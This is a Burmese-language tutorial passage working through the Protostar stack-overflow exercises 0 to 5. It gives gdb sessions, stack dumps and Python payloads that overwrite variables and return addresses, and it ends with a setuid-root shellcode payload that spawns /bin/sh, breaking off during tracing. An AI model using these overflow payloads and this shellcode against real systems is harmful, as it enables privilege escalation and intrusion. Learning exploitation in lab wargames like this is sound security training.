0x08 – Writing First Buffer Overflow Exploit

အေရွ႕က Series ကိုဖတ္ခ်င္ရင္ေတာ့ ဒီမွာ စုထားပါတယ္။

ေရွ႕ကအခန္းေတြကို နားလည္ထားျပီဆိုရင္ေတာ့ Protostar က Stack ေတြကိုေျဖလို႕ရျပီျဖစ္ပါတယ္။ ဒါေၾကာင့္ က်ေနာ္တို႕ စမ္းေျဖၾကည့္ၾကမယ္။

Stack 0

https://exploit-exercises.com/protostar/stack0/

C code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

ဒီ challenge မွာလုပ္ရမွာက modified ဆိုတဲ့ Variable ကို 0 နဲ႕ညီမေနေအာင္လုပ္နိုင္ရင္ “You have changed the ‘modified’ variable ဆိုတဲ့ Success Message ကိုရမွာျဖစ္ပါတယ္။

ဒီေတာ့ ပထမဆံုး overflow ကိုရွာမယ္ modified ဆိုတဲ့ variable ရဲ႕ address ကိုၾကည့္မယ္။

$ ls
final0  format0  format3  heap1  net0  net3    stack1  stack4  stack7
final1  format1  format4  heap2  net1  net4    stack2  stack5
final2  format2  heap0    heap3  net2  stack0  stack3  stack6

Run ၾကည့္မယ္။

$ ./stack0
Hello
Try again?

gdb နဲ႕အရင္ဆံုး debug လုပ္ၾကည့္မယ္။

$ gdb -q stack0
Reading symbols from /opt/protostar/bin/stack0...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

gets နဲ႕ user input ကိုမယူခင္မွာ Break မယ္ ျပီးရင္ ret မွာတစ္ခ်က္ break မယ္။ ၾကည့္ခ်င္လို႕

(gdb) break *main+24
Breakpoint 1 at 0x804840c: file stack0/stack0.c, line 11.
(gdb) break *main+64
Breakpoint 2 at 0x8048434: file stack0/stack0.c, line 18.

ဒီေတာ့ buffer ကို Overflow ျဖစ္ေအာင္ A ေတြထည့္ရမွာေပါ့။

(gdb) run
Starting program: /opt/protostar/bin/stack0

Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffffd64)
    at stack0/stack0.c:11
11      stack0/stack0.c: No such file or directory.
        in stack0/stack0.c

Stack Pointer

(gdb) print $esp
$1 = (void *) 0xbffffc50

Stack ကိုၾကည့္မယ္

(gdb) x/32wx $esp
0xbffffc50:     0xbffffc6c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffffc60:     0xb7fd7ff4      0xb7ec6165      0xbffffc78      0xb7eada75
0xbffffc70:     0xb7fd7ff4      0x08049620      0xbffffc88      0x080482e8
0xbffffc80:     0xb7ff1040      0x08049620      0xbffffcb8      0x08048469
0xbffffc90:     0xb7fd8304      0xb7fd7ff4      0x08048450      0xbffffcb8
0xbffffca0:     0xb7ec6365      0xb7ff1040      0x0804845b      0x00000000
0xbffffcb0:     0x08048450      0x00000000      0xbffffd38      0xb7eadc76
0xbffffcc0:     0x00000001      0xbffffd64      0xbffffd6c      0xb7fe1848

EBP ကေရာ

(gdb) print $ebp
$2 = (void *) 0xbffffcb8

modified ဆိုတဲ့ variable က local variable ပဲျဖစ္ေတာ့ ဒီ Stack ထဲမွာပဲေသခ်ာေပါက္ရွိရမယ္မဟုတ္လား ။

(gdb) x/32wx $esp
0xbffffc50:     0xbffffc6c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffffc60:     0xb7fd7ff4      0xb7ec6165      0xbffffc78      0xb7eada75
0xbffffc70:     0xb7fd7ff4      0x08049620      0xbffffc88      0x080482e8
0xbffffc80:     0xb7ff1040      0x08049620      0xbffffcb8      0x08048469
0xbffffc90:     0xb7fd8304      0xb7fd7ff4      0x08048450      0xbffffcb8
0xbffffca0:     0xb7ec6365      0xb7ff1040      0x0804845b      0x00000000
0xbffffcb0:     0x08048450      0x00000000      0xbffffd38[ebp] 0xb7eadc76
0xbffffcc0:     0x00000001      0xbffffd64      0xbffffd6c      0xb7fe1848

program ကို ဆက္ run ျပီးေတာ့ input ထည့္လိုက္မယ္။

(gdb) ni
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
13      in stack0/stack0.c
(gdb) x/32wx $esp
0xbffffc50:     0xbffffc6c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffffc60:     0xb7fd7ff4      0xb7ec6165      0xbffffc78      0x41414141
0xbffffc70:     0x42424242      0x43434343      0x44444444      0x45454545
0xbffffc80:     0x46464646      0x47474747      0x48484848      0x49494949
0xbffffc90:     0x4a4a4a4a      0x4b4b4b4b      0x4c4c4c4c      0x4d4d4d4d
0xbffffca0:     0x4e4e4e4e      0x4f4f4f4f      0x50505050      0x51515151
0xbffffcb0:     0x52525252      0x53535353      0x54545454      0x55555555
0xbffffcc0:     0x56565656      0x57575757      0x58585858      0x59595959

ခုလို ထည့္လိုက္တဲ့အခါမွာ EBP ေတြ EIP ေတြကိုပါ overwrite သြားတယ္။ အဲ့လိုအုပ္ဖို႕မလိုဘူး modified ရဲ႕ address က value ကိုျပင္ရင္ရျပီ။

0x54 = T

ဒီလုိဆိုေတာ့ S ထိပဲထည့္မယ္ဆိုရင္ variable က 0 နဲ႕မညီေတာ့ဘူးေပါ့။

(gdb) x/32wx $esp
0xbffffc50:     0xbffffc6c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffffc60:     0xb7fd7ff4      0xb7ec6165      0xbffffc78      0x41414141
0xbffffc70:     0x42424242      0x43434343      0x44444444      0x45454545
0xbffffc80:     0x46464646      0x47474747      0x48484848      0x49494949
0xbffffc90:     0x4a4a4a4a      0x4b4b4b4b      0x4c4c4c4c      0x4d4d4d4d
0xbffffca0:     0x4e4e4e4e      0x4f4f4f4f      0x50505050      0x51515151
0xbffffcb0:     0x52525252      0x53535353      0xbffffd00      0xb7eadc76
0xbffffcc0:     0x00000001      0xbffffd64      0xbffffd6c      0xb7fe1848
(gdb) ni
0x08048415      13      in stack0/stack0.c
(gdb)
0x08048417      13      in stack0/stack0.c
(gdb)
14      in stack0/stack0.c
(gdb)
0x08048420      14      in stack0/stack0.c
(gdb)
you have changed the 'modified' variable
0x08048425      14      in stack0/stack0.c

Writing exploit with python

$ python -c 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"' > /tmp/0
$ cat /tmp/0
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS
$ cat /tmp/0 | /opt/protostar/bin/stack0
you have changed the 'modified' variable

Stack 1

C code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }
  modified = 0;
  strcpy(buffer, argv[1]);
  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

ဒီဟာကဘာလုပ္ရမလဲဆိုရင္ modify လုပ္တာပဲ ဒါေပမဲ့ 0 နဲ႕ညီေနယံုနဲ႕မရေတာ့ဘူး။ ေျပာင္းရေတာ့မယ္။ 0x61626364 ျဖစ္ေအာင္လုပ္ရမယ္။

gdb နဲ႕ပဲ debug လုပ္မယ္။ input ကေတာ့ gets မဟုတ္ေတာ့ဘူး argument အေနနဲ႕ျဖစ္သြားတယ္။ ဒီေတာ့ breakpoint က strcpy မွာရပ္မွရမယ္။

$ gdb -q stack1
Reading symbols from /opt/protostar/bin/stack1...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
---Type <return> to continue, or q <return> to quit---
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret
End of assembler dump.
(gdb) break *main+62
Breakpoint 1 at 0x80484a2: file stack1/stack1.c, line 16.
(gdb) break *main+114
Breakpoint 2 at 0x80484d6: file stack1/stack1.c, line 23.

Argument ထည့္ျပီး run မယ္

(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS
Starting program: /opt/protostar/bin/stack1 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS

Breakpoint 1, 0x080484a2 in main (argc=2, argv=0xbffffcb4)
    at stack1/stack1.c:16
16      stack1/stack1.c: No such file or directory.
        in stack1/stack1.c

Stack ကိုၾကည့္မယ္။

(gdb) x/32wx $esp
0xbffffba0:     0xbffffbbc      0xbffffde4      0xb7fff8f8      0xb7f0186e
0xbffffbb0:     0xb7fd7ff4      0xb7ec6165      0xbffffbc8      0xb7eada75
0xbffffbc0:     0xb7fd7ff4      0x080496fc      0xbffffbd8      0x08048334
0xbffffbd0:     0xb7ff1040      0x080496fc      0xbffffc08      0x08048509
0xbffffbe0:     0xb7fd8304      0xb7fd7ff4      0x080484f0      0xbffffc08
0xbffffbf0:     0xb7ec6365      0xb7ff1040      0x080484fb      0x00000000
0xbffffc00:     0x080484f0      0x00000000      0xbffffc88      0xb7eadc76
0xbffffc10:     0x00000002      0xbffffcb4      0xbffffcc0      0xb7fe1848

ebp က

(gdb) print $ebp
$1 = (void *) 0xbffffc08

ဒါဆို modified ကဘယ္မွာလဲ

(gdb) x/32wx $esp
0xbffffba0:     0xbffffbbc      0xbffffde4      0xb7fff8f8      0xb7f0186e
0xbffffbb0:     0xb7fd7ff4      0xb7ec6165      0xbffffbc8      0xb7eada75
0xbffffbc0:     0xb7fd7ff4      0x080496fc      0xbffffbd8      0x08048334
0xbffffbd0:     0xb7ff1040      0x080496fc      0xbffffc08      0x08048509
0xbffffbe0:     0xb7fd8304      0xb7fd7ff4      0x080484f0      0xbffffc08
0xbffffbf0:     0xb7ec6365      0xb7ff1040      0x080484fb      0x00000000
0xbffffc00:     0x080484f0      0x00000000 =?   0xbffffc88=ebp  0xb7eadc76
0xbffffc10:     0x00000002      0xbffffcb4      0xbffffcc0      0xb7fe1848

ဟုတ္ဟုတ္ မဟုတ္ဟုတ္ ရသြားေအာင္ေတာ့လုပ္လို႕ရတယ္။

0x61626364 = abcd

abcd ေတြခ်ည္းပဲ AAAABBBB ေနရာေတြမွာပစ္ထည့္လိုက္ရင္ရတာေပါ့။

စမး္ၾကည့္မယ္။

$ python -c 'print "abcdabcdabcdabcdabcdabcdabcdabcdancdabcdabcdabcdabcdabcdabcdabcdabcdabcd"' > /tmp/1
$ ./stack1 `cat /tmp/1`
Try again, you got 0x64636261

WTF

Little Endian ျပသနာေပါ့။ ျပန္ေျပာင္းရမယ္။

$  python -c 'print "dcbadcbadcbadcbadcbadcbadcbadcbadcbadcbadcbadcbadcbadcbadcbadcbadcbadcba"' > /tmp/1
$ ./stack1 `cat /tmp/1`
you have correctly got the variable to the right value

Nice

Stack2

C Code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Input ေျပာင္းသြားတာပါ။ argument နဲ႕လဲမဟုတ္ဘူး ။ gets နဲ႕လဲ မဟုတ္ဘူး environemet variable ထဲကေန GREENIE ဆိုတဲ့ဟာကို ထည့္ထားတာ။ျပင္တာေပါ့။

$ env
SSH_CLIENT=192.168.43.234 20728 22
USER=user
MAIL=/var/mail/user
OLDPWD=/home/user
HOME=/home/user
SSH_TTY=/dev/pts/0
LOGNAME=user
TERM=xterm
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/opt/protostar/bin
SSH_CONNECTION=192.168.43.234 20728 192.168.43.165 22
$ echo $HOME
/home/user

အသစ္ထပ္ထည့္မယ္

$ export GREENIE=${GREENIE}AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU
$ echo $GREENIE
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU

Run ၾကည့္လိုက္မယ္

$ ./stack2
Try again, you got 0x51515151
Segmentation fault

51 ေတြေနရာမွ modified ရွိတယ္။ နည္းနည္းထည့္တာမ်ားသြားေတာ့ eip ေတြပါအုပ္ကုန္တယ္။ 51 မွာ အစားထိုးမယ္။

51 = Q

0a 0d -> CRLF

http://www.asciitable.com/

\n\r ကိုထည့္ေပးရင္ အဆင္ေျပျပီ။ Q ေတြေနရာမွာေပါ့။

$ GREENIE=$(printf 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP\n\r\n\r')
$ export GREENIE
$ env
SSH_CLIENT=192.168.43.234 20728 22
USER=user
MAIL=/var/mail/user
OLDPWD=/opt/protostar/bin
HOME=/home/user
SSH_TTY=/dev/pts/0
GREENIE=AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP


LOGNAME=user
TERM=xterm
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/opt/protostar/bin
SSH_CONNECTION=192.168.43.234 20728 192.168.43.165 22
$ ./stack2
you have correctly modified the variable

Stack3

C Code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

ဒီ တစ္ခါေတာ့ Variable ေတြကို Modify လုပ္တဲ့အဆင့္ေတြမဟုတ္ေတာ့ဘူး။ ပံုမွန္ဆိုေခၚမထားတဲ့ Function တစ္ခုကို က်ေနာ္တို႕ကေခၚရမွာျဖစ္ပါတယ္။ win() ဆိုတဲ့ Function ေပါ့။ ဒါေပမဲ့ က်ေနာ္တို႕မွာ buffer overflow ရွိတယ္။ EIP overwrite လို႕ရရင္ ဒီ function ဆီေခၚသြားလို႕ရတယ္ဆိုတာ အရင္ series ေတြဖတ္ျပီးသားသူတစ္ေယာက္ဆို သိေနပါျပီ။ ျမန္ျမန္ေလးလုပ္လိုက္ၾကမယ္။

gdb နဲ႕စမယ္။ ထံုးစံအတိုင္း ret မွာ break မယ္။Offset ပါသိရေအာင္လို႕

$ gdb -q stack3
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048438 <main+0>:    push   ebp
0x08048439 <main+1>:    mov    ebp,esp
0x0804843b <main+3>:    and    esp,0xfffffff0
0x0804843e <main+6>:    sub    esp,0x60
0x08048441 <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>:   lea    eax,[esp+0x1c]
0x0804844d <main+21>:   mov    DWORD PTR [esp],eax
0x08048450 <main+24>:   call   0x8048330 <gets@plt>
0x08048455 <main+29>:   cmp    DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>:   je     0x8048477 <main+63>
0x0804845c <main+36>:   mov    eax,0x8048560
0x08048461 <main+41>:   mov    edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>:   mov    DWORD PTR [esp+0x4],edx
0x08048469 <main+49>:   mov    DWORD PTR [esp],eax
0x0804846c <main+52>:   call   0x8048350 <printf@plt>
0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:   call   eax
0x08048477 <main+63>:   leave
0x08048478 <main+64>:   ret
End of assembler dump.
(gdb) break *main+64
Breakpoint 1 at 0x8048478: file stack3/stack3.c, line 24.

pattern ေလးထည့္ျပီး run မယ္။

(gdb) run
Starting program: /opt/protostar/bin/stack3
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT
calling function pointer, jumping to 0x51515151

Program received signal SIGSEGV, Segmentation fault.
0x51515151 in ?? ()

EIP ကို Q ေတြေနရာမွာအစားထိုးလိုက္ရင္ အဆင္ေျပျပီေပါ့။

win() function ရဲ႕ address ကိုသိဖို႕ပဲလိုေတာ့တယ္။

(gdb) disas win
Dump of assembler code for function win:
0x08048424 <win+0>:     push   ebp
0x08048425 <win+1>:     mov    ebp,esp
0x08048427 <win+3>:     sub    esp,0x18
0x0804842a <win+6>:     mov    DWORD PTR [esp],0x8048540
0x08048431 <win+13>:    call   0x8048360 <puts@plt>
0x08048436 <win+18>:    leave
0x08048437 <win+19>:    ret
End of assembler dump.

Little Endian?

\x24\x84\x04\x08

Payload

$ python -c 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x24\x84\x04\x08"' > /tmp/3
$ cat /tmp/3 | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack4

C code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

ဒီမွာက ျပသနာေလးနည္းနည္းထည့္ေပးထားပါတယ္။အဲဒါကေတာ့ Buffer ျပီးတာနဲ႕ EIP ကတန္းမလာပါဘူးတဲ့ Compiler ေၾကာင့္ padding ေလးနည္းနည္းလို႕ပါမယ္တဲ့။ ၾကည့္မယ္ေလ

$ gdb -q stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
0x08048409 <main+1>:    mov    ebp,esp
0x0804840b <main+3>:    and    esp,0xfffffff0
0x0804840e <main+6>:    sub    esp,0x50
0x08048411 <main+9>:    lea    eax,[esp+0x10]
0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave
0x0804841e <main+22>:   ret
End of assembler dump.
(gdb) break *main+22
Breakpoint 1 at 0x804841e: file stack4/stack4.c, line 16.

pattern ေလးထည့္လိုက္မယ္။

$ gdb -q stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
0x08048409 <main+1>:    mov    ebp,esp
0x0804840b <main+3>:    and    esp,0xfffffff0
0x0804840e <main+6>:    sub    esp,0x50
0x08048411 <main+9>:    lea    eax,[esp+0x10]
0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave
0x0804841e <main+22>:   ret
End of assembler dump.
(gdb) break *main+22
Breakpoint 1 at 0x804841e: file stack4/stack4.c, line 16.
(gdb) r
Starting program: /opt/protostar/bin/stack4
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWW

Breakpoint 1, 0x0804841e in main (argc=Cannot access memory at address 0x5353535b
) at stack4/stack4.c:16
16      stack4/stack4.c: No such file or directory.
        in stack4/stack4.c

Stack ကိုၾကည့္လိုက္မယ္။

(gdb) x/32wx $esp
0xbffffcbc:     0x54545454      0x55555555      0x56565656      0x00575757
0xbffffccc:     0xb7fe1848      0xbffffd20      0xffffffff      0xb7ffeff4
0xbffffcdc:     0x0804824b      0x00000001      0xbffffd20      0xb7ff0626
0xbffffcec:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffcfc:     0x00000000      0xbffffd38      0x559ea1dc      0x7fdf57cc
0xbffffd0c:     0x00000000      0x00000000      0x00000000      0x00000001
0xbffffd1c:     0x08048340      0x00000000      0xb7ff6210      0xb7eadb9b
0xbffffd2c:     0xb7ffeff4      0x00000001      0x08048340      0x00000000

54 ေတြ esp ထဲကိုျပန္ဝင္လာေတြ႕ရတယ္။ ဆက္ run ၾကည့္လိုက္မယ္။

(gdb) ni
Cannot access memory at address 0x53535357
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
(gdb)

Win function

(gdb) disas win
Dump of assembler code for function win:
0x080483f4 <win+0>:     push   ebp
0x080483f5 <win+1>:     mov    ebp,esp
0x080483f7 <win+3>:     sub    esp,0x18
0x080483fa <win+6>:     mov    DWORD PTR [esp],0x80484e0
0x08048401 <win+13>:    call   0x804832c <puts@plt>
0x08048406 <win+18>:    leave
0x08048407 <win+19>:    ret
End of assembler dump.

လုပ္ၾကည့္လိုက္မယ္။

$ python -c 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS\xf4\x83\x04\x08"' > /tmp/4
$ cat /tmp/4 | ./stack4
code flow successfully changed
Segmentation fault

Nice xD

Stack5

C Code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

ဒီတစ္ခါေတာ့လုပ္ရမွာကရွင္းတယ္ Shellcode Inject လုပ္ရမယ္။ permission က suid နဲ႕ root access ရမွာျဖစ္ပါတယ္။

$ ls -al stack5
-rwsr-xr-x 1 root root 22612 Nov 24  2011 stack5

gdb ေလးနဲ႕ထံုးစံအတိုင္း

$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   ebp
0x080483c5 <main+1>:    mov    ebp,esp
0x080483c7 <main+3>:    and    esp,0xfffffff0
0x080483ca <main+6>:    sub    esp,0x50
0x080483cd <main+9>:    lea    eax,[esp+0x10]
0x080483d1 <main+13>:   mov    DWORD PTR [esp],eax
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) break *main+22
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.

Input ေလးထည့္ၾကည့္မယ္။

(gdb) r
Starting program: /opt/protostar/bin/stack5
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
        in stack5/stack5.c

Stack?

(gdb) x/32wx $esp
0xbffffcbc:     0x54545454      0x00000000      0xbffffd64      0xbffffd6c
0xbffffccc:     0xb7fe1848      0xbffffd20      0xffffffff      0xb7ffeff4
0xbffffcdc:     0x08048232      0x00000001      0xbffffd20      0xb7ff0626
0xbffffcec:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffcfc:     0x00000000      0xbffffd38      0xe7df66eb      0xcd9e90fb
0xbffffd0c:     0x00000000      0x00000000      0x00000000      0x00000001
0xbffffd1c:     0x08048310      0x00000000      0xb7ff6210      0xb7eadb9b
0xbffffd2c:     0xb7ffeff4      0x00000001      0x08048310      0x00000000

EIP ?

(gdb) ni
Cannot access memory at address 0x53535357
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
(gdb)

4 နဲ႕ဆင္တယ္။ ဒါေပမဲ့ ခုလုပ္ရမွာက Shellcode inject လုပ္ရမွာ

Shellcode ကိုဘယ္မွာထားမွာလဲဆိုတာေမးစရာေလးရွိလာတာေပါ့။ အဲဒါေၾကာင့္ နည္းနည္းေလးပိုထည့္လိုက္မယ္။

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack5
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVXXXXYYYYZZZZ

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11      in stack5/stack5.c

Where ?

(gdb) x/32wx $esp
0xbffffcbc:     0x54545454      0x55555555      0x56565656      0x58585858
0xbffffccc:     0x59595959      0x5a5a5a5a      0xffffff00      0xb7ffeff4
0xbffffcdc:     0x08048232      0x00000001      0xbffffd20      0xb7ff0626
0xbffffcec:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffcfc:     0x00000000      0xbffffd38      0xf6efc3c8      0xdcae35d8
0xbffffd0c:     0x00000000      0x00000000      0x00000000      0x00000001
0xbffffd1c:     0x08048310      0x00000000      0xb7ff6210      0xb7eadb9b
0xbffffd2c:     0xb7ffeff4      0x00000001      0x08048310      0x00000000

Stack ထဲပဲျပန္ဝင္တယ္။ ဒီလိုဆို Shellcode ကို အဲ့ထဲမွာပဲထည့္လိုက္ရင္ အဆင္ေျပျပီေပါ့။

Shellcode ကိုေတာ့ Shellstorm ကပဲယူမယ္။ ( Shellcoding in previous tutorials )

http://shell-storm.org/shellcode/files/shellcode-756.php

 

0xbffffcbc:     0x54545454      0x55555555      0x56565656      0x58585858
0xbffffccc:     0x59595959      0x5a5a5a5a      0xffffff00      0xb7ffeff4
0xbffffcdc:     0x08048232      0x00000001      0xbffffd20      0xb7ff0626

\xbc\xfc\xff\xbf

The final Payload

"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"+"\xc0\xfc\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

အလုပ္ျဖစ္မျဖစ္ၾကည့္မယ္။ ၾကည့္တဲ့အခါမွာ ESP ကိုလဲျပန္ၾကည့္မယ္ ။ Shellcode အဆင္ေျပမေျပသိရေအာင္

ေနာက္တစ္ခုက EIP ေလးပါထုတ္ၾကည့္လိုက္မယ္။

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/32wx $esp
>x/w $eip
>x/2i $eip
>end

Trace လုပ္ၾကည့္တာေပါ့ ။

(gdb) r </tmp/5
